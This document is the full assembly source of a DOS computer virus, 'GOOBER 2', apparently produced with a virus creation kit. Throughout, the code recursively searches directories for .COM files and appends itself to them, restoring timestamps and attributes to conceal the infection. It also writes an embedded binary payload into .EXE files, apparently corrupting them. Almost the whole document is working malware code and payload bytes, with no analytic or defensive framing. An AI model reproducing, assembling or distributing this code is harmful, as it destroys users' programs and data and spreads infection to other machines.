; GOOBER2.ASM -- GOOBER 2 ; Created with Nowhere Man's Virus Creation Laboratory v1.00 ; Written by URNST KOUCH virus_type equ 0 ; Appending Virus is_encrypted equ 0 ; We're not encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h main proc near db 0E9h,00h,00h ; Near jump (for compatibility) start: call find_offset ; Like a PUSH IP find_offset: pop bp ; BP holds old IP sub bp,offset find_offset ; Adjust for length of host lea si,[bp + buffer] ; SI points to original start mov di,0100h ; Push 0100h on to stack for push di ; return to main program movsw ; Copy the first two bytes movsb ; Copy the third byte mov di,bp ; DI points to start of virus mov bp,sp ; BP points to stack sub sp,128 ; Allocate 128 bytes on stack mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer on stack int 021h call search_files ; Find and infect a file lea dx,[di + data00] ; DX points to data lea si,[di + data01] ; SI points to data push di ; Save DI mov ah,02Fh ; DOS get DTA function int 021h mov di,bx ; DI points to DTA mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes int 021h jc create_file ; If not found then create it write_in_file: mov ax,04301h ; DOS set file attributes function xor cx,cx ; File will have no attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ax,03D01h ; DOS open file function, write lea dx,[di + 01Eh] ; DX points to file name int 021h xchg bx,ax ; Transfer file handle to AX mov ah,040h ; DOS write to file function mov cx,[si] ; CX holds number of byte to write lea dx,[si + 2] ; DX points to the data int 021h mov ax,05701h ; DOS set file date/time function mov cx,[di + 016h] ; CX holds old file time mov dx,[di + 018h] ; DX holds old file data int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attributes function xor ch,ch ; Clear CH for attributes mov cl,[di + 015h] ; CL holds old attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ah,04Fh ; DOS find next file function int 021h jnc write_in_file ; If successful do next file jmp short dropper_end ; Otherwise exit create_file: mov ah,03Ch ; DOS create file function xor cx,cx ; File has no attributes int 021h xchg bx,ax ; Transfer file handle to AX mov ah,040h ; DOS write to file function mov cx,[si] ; CX holds number of byte to write lea dx,[si + 2] ; DX points to the data int 021h mov ah,03Eh ; DOS close file function int 021h dropper_end: pop di ; Restore DI com_end: pop dx ; DX holds original DTA address mov ah,01Ah ; DOS set DTA function int 021h mov sp,bp ; Deallocate local buffer xor ax,ax ; mov bx,ax ; mov cx,ax ; mov dx,ax ; Empty out the registers mov si,ax ; mov di,ax ; mov bp,ax ; ret ; Return to original program main endp search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ; SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function lea dx,[di + root] ; DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes lea dx,[di + all_files] ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself pushf ; Save the flags mov ah,03Bh ; DOS change directory function lea dx,[di + up_dir] ; DX points to parent directory int 021h popf ; Restore the flags jnc done_searching ; If we infected then exit another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: lea dx,[di + com_mask] ; DX points to "*.COM" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for com_mask db "*.COM",0 ; Mask for all .COM files traverse endp find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov si,bx ; SI points to the DTA mov byte ptr [di + set_carry],0 ; Assume we'll fail cmp word ptr [si + 01Ah],(65279 - (finish - start)) jbe size_ok ; If it's small enough continue jmp infection_done ; Otherwise exit size_ok: mov ax,03D00h ; DOS open file function, r/o lea dx,[si + 01Eh] ; DX points to file name int 021h xchg bx,ax ; BX holds file handle mov ah,03Fh ; DOS read from file function mov cx,3 ; CX holds bytes to read (3) lea dx,[di + buffer] ; DX points to buffer int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h xchg dx,ax ; Faster than a PUSH AX mov ah,03Eh ; DOS close file function int 021h xchg dx,ax ; Faster than a POP AX sub ax,finish - start + 3 ; Adjust AX for a valid jump cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? je infection_done ; If equal then exit mov byte ptr [di + set_carry],1 ; Success -- the file is OK add ax,finish - start ; Re-adjust to make the jump mov word ptr [di + new_jump + 1],ax ; Construct jump mov ax,04301h ; DOS set file attrib. function xor cx,cx ; Clear all attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h mov ax,03D02h ; DOS open file function, r/w int 021h xchg bx,ax ; BX holds file handle mov ah,040h ; DOS write to file function mov cx,3 ; CX holds bytes to write (3) lea dx,[di + new_jump] ; DX points to the jump we made int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h mov ah,040h ; DOS write to file function mov cx,finish - start ; CX holds virus length lea dx,[di + start] ; DX points to start of virus int 021h mov ax,05701h ; DOS set file time function mov cx,[si + 016h] ; CX holds old file time mov dx,[si + 018h] ; DX holds old file date int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attrib. function xor ch,ch ; Clear CH for file attribute mov cl,[si + 015h] ; CX holds file's old attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed ret ; Return to caller set_carry db ? ; Set-carry-on-exit flag buffer db 090h,0CDh,020h ; Buffer to hold old three bytes new_jump db 0E9h,?,? ; New jump to virus infect_file endp data00 db "*.EXE",0 data01 dw 222H db 092h, 086h, 0EDh, 092h, 0E8h, 0AFh, 000h, 0E8h db 0ACh, 000h, 0BEh, 0FFh, 002h, 0B4h, 00Eh, 0ACh db 00Ah, 0C0h, 074h, 004h, 0CDh, 010h, 0EBh, 0F7h db 0BAh, 012h, 003h, 055h, 08Bh, 0ECh, 081h, 0ECh db 000h, 010h, 057h, 0B4h, 02Fh, 0CDh, 021h, 08Bh db 0FBh, 0B4h, 04Eh, 0B9h, 027h, 000h, 0CDh, 021h db 072h, 06Ch, 0B8h, 001h, 043h, 033h, 0C9h, 08Dh db 055h, 01Eh, 0CDh, 021h, 0B8h, 002h, 03Dh, 08Dh db 055h, 01Eh, 0CDh, 021h, 093h, 0B4h, 03Fh, 0B9h db 000h, 010h, 08Dh, 096h, 000h, 0F0h, 0CDh, 021h db 00Bh, 0C0h, 074h, 028h, 050h, 08Dh, 0B6h, 000h db 0F0h, 032h, 0E4h, 0CDh, 01Ah, 059h, 051h, 030h db 014h, 046h, 042h, 0E2h, 0FAh, 05Ah, 052h, 0B8h db 001h, 042h, 0B9h, 0FFh, 0FFh, 0F7h, 0DAh, 0CDh db 021h, 0B4h, 040h, 059h, 08Dh, 096h, 000h, 0F0h db 0CDh, 021h, 0EBh, 0C9h, 0B8h, 001h, 057h, 08Bh db 04Dh, 016h, 08Bh, 055h, 018h, 0CDh, 021h, 0B4h db 03Eh, 0CDh, 021h, 0B8h, 001h, 043h, 032h, 0EDh db 08Ah, 04Dh, 015h, 08Dh, 055h, 01Eh, 0CDh, 021h db 0B4h, 04Fh, 0CDh, 021h, 073h, 094h, 05Fh, 08Bh db 0E5h, 05Dh, 0E8h, 055h, 001h, 00Bh, 0C0h, 074h db 003h, 0EBh, 006h, 090h, 0EAh, 000h, 000h, 0FFh db 0FFh, 0B8h, 000h, 04Ch, 0CDh, 021h, 055h, 08Bh db 0ECh, 083h, 0ECh, 040h, 0B4h, 047h, 032h, 0D2h db 08Dh, 076h, 0C0h, 0CDh, 021h, 0B4h, 03Bh, 0BAh db 0DAh, 001h, 0CDh, 021h, 0E8h, 00Dh, 000h, 0B4h db 03Bh, 08Dh, 056h, 0C0h, 0CDh, 021h, 08Bh, 0E5h db 05Dh, 0C3h, 05Ch, 000h, 055h, 0B4h, 02Fh, 0CDh db 021h, 053h, 08Bh, 0ECh, 081h, 0ECh, 080h, 000h db 0B4h, 01Ah, 08Dh, 056h, 080h, 0CDh, 021h, 0B4h db 04Eh, 0B9h, 010h, 000h, 0BAh, 034h, 002h, 0CDh db 021h, 072h, 027h, 080h, 07Eh, 095h, 010h, 075h db 01Bh, 080h, 07Eh, 09Eh, 02Eh, 074h, 015h, 0B4h db 03Bh, 08Dh, 056h, 09Eh, 0CDh, 021h, 0E8h, 0CBh db 0FFh, 09Ch, 0B4h, 03Bh, 0BAh, 031h, 002h, 0CDh db 021h, 09Dh, 073h, 00Ch, 0B4h, 04Fh, 0CDh, 021h db 073h, 0D9h, 0BAh, 038h, 002h, 0E8h, 016h, 000h db 08Bh, 0E5h, 0B4h, 01Ah, 05Ah, 0CDh, 021h, 05Dh db 0C3h, 02Eh, 02Eh, 000h, 02Ah, 02Eh, 02Ah, 000h db 02Ah, 02Eh, 045h, 058h, 045h, 000h, 055h, 0B4h db 02Fh, 0CDh, 021h, 053h, 08Bh, 0ECh, 081h, 0ECh db 080h, 000h, 052h, 0B4h, 01Ah, 08Dh, 056h, 080h db 0CDh, 021h, 0B4h, 04Eh, 0B9h, 027h, 000h, 05Ah db 0CDh, 021h, 072h, 009h, 0E8h, 00Fh, 000h, 073h db 004h, 0B4h, 04Fh, 0EBh, 0F3h, 08Bh, 0E5h, 0B4h db 01Ah, 05Ah, 0CDh, 021h, 05Dh, 0C3h, 0B4h, 02Fh db 0CDh, 021h, 08Bh, 0F3h, 0C6h, 006h, 0F9h, 002h db 000h, 083h, 07Ch, 01Ch, 000h, 075h, 070h, 081h db 07Ch, 025h, 04Eh, 044h, 074h, 069h, 081h, 07Ch db 01Ah, 022h, 002h, 072h, 062h, 0B8h, 000h, 03Dh db 08Dh, 054h, 01Eh, 0CDh, 021h, 093h, 0B4h, 03Fh db 0B9h, 004h, 000h, 0BAh, 0F5h, 002h, 0CDh, 021h db 0B4h, 03Eh, 0CDh, 021h, 056h, 0BEh, 0F5h, 002h db 0BFh, 000h, 001h, 0B9h, 004h, 000h, 0F3h, 0A6h db 05Eh, 074h, 03Ch, 0C6h, 006h, 0F9h, 002h, 001h db 0B8h, 001h, 043h, 033h, 0C9h, 08Dh, 054h, 01Eh db 0CDh, 021h, 0B8h, 002h, 03Dh, 0CDh, 021h, 093h db 0B4h, 040h, 0B9h, 022h, 002h, 090h, 0BAh, 000h db 001h, 0CDh, 021h, 0B8h, 001h, 057h, 08Bh, 04Ch db 016h, 08Bh, 054h, 018h, 0CDh, 021h, 0B4h, 03Eh db 0CDh, 021h, 0B8h, 001h, 043h, 032h, 0EDh, 08Ah db 04Ch, 015h, 08Dh, 054h, 01Eh, 0CDh, 021h, 080h db 03Eh, 0F9h, 002h, 001h, 0C3h, 000h, 000h, 000h db 000h, 000h, 0A0h, 0F9h, 002h, 098h, 0C3h, 007h db 044h, 069h, 076h, 069h, 064h, 065h, 020h, 06Fh db 076h, 065h, 072h, 066h, 06Ch, 06Fh, 077h, 00Dh db 00Ah, 000h, 02Ah, 02Eh, 043h, 04Fh, 04Dh, 000h db 05Bh, 056h, 043h, 04Ch, 05Dh, 000h, 044h, 04Fh db 04Dh, 045h vcl_marker db "[VCL]",0 ; VCL creation marker finish label near code ends end main